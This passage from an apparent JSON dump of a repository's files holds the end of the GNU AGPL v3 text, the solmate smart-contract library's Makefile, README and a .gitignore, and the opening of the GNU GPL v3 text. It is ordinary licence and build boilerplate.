 For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>."
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/Makefile",
    "content": "all: solc install update\n# Install proper solc version.\nsolc:; nix-env -f https://github.com/dapphub/dapptools/archive/master.tar.gz -iA solc-static-versions.solc_0_8_10\n# Install npm dependencies.\ninstall:; npm install\n# Install dapp dependencies.\nupdate:; dapp update\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/README.md",
    "content": "# solmate\n\n**Modern**, **opinionated**, and **gas optimized** building blocks for **smart contract development**.\n\n## Contracts\n\n```ml\nauth\n├─ Auth — \"Flexible and updatable auth pattern\"\n├─ authorities\n│  ├─ RolesAuthority — \"Role based Authority that supports up to 256 roles\"\n│  ├─ MultiRolesAuthority — \"Flexible and target agnostic role based Authority\"\ntokens\n├─ WETH — \"Minimalist and modern Wrapped Ether implementation\"\n├─ ERC20 — \"Modern and gas efficient ERC20 + EIP-2612 implementation\"\n├─ ERC721 — \"Modern, minimalist, and gas efficient ERC721 implementation\"\n├─ ERC1155 — \"Minimalist and gas efficient standard ERC1155 implementation\"\nutils\n├─ SSTORE2 - \"Library for cheaper reads and writes to persistent storage\"\n├─ CREATE3 — \"Deploy to deterministic addresses without an initcode factor\"\n├─ SafeCastLib - \"Safe unsigned integer casting lib that reverts on overflow\"\n├─ ReentrancyGuard — \"Gas optimized reentrancy protection for smart contracts\"\n├─ FixedPointMathLib — \"Arithmetic library with operations for fixed-point numbers\"\n├─ Bytes32AddressLib — \"Library for converting between addresses and bytes32 values\"\n├─ SafeTransferLib — \"Safe ERC20/ETH transfer lib that handles missing return values\"\n```\n\n## Installation\n\nTo install with [**DappTools**](https://github.com/dapphub/dapptools):\n\n```sh\ndapp install rari-capital/solmate\n```\n\nTo install with [**Foundry**](https://github.com/gakonst/foundry):\n\n```sh\nforge install rari-capital/solmate\n```\n\nTo install with [**Hardhat**](https://github.com/nomiclabs/hardhat) or [**Truffle**](https://github.com/trufflesuite/truffle):\n\n```sh\nnpm install @rari-capital/solmate\n```\n\n## Acknowledgements\n\nThese contracts were inspired by or directly modified from many sources, primarily:\n\n- [Gnosis](https://github.com/gnosis/gp-v2-contracts)\n- [Uniswap](https://github.com/Uniswap/uniswap-lib)\n- [Dappsys](https://github.com/dapphub/dappsys)\n- [Dappsys V2](https://github.com/dapp-org/dappsys-v2)\n- [0xSequence](https://github.com/0xSequence)\n- [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts)\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic 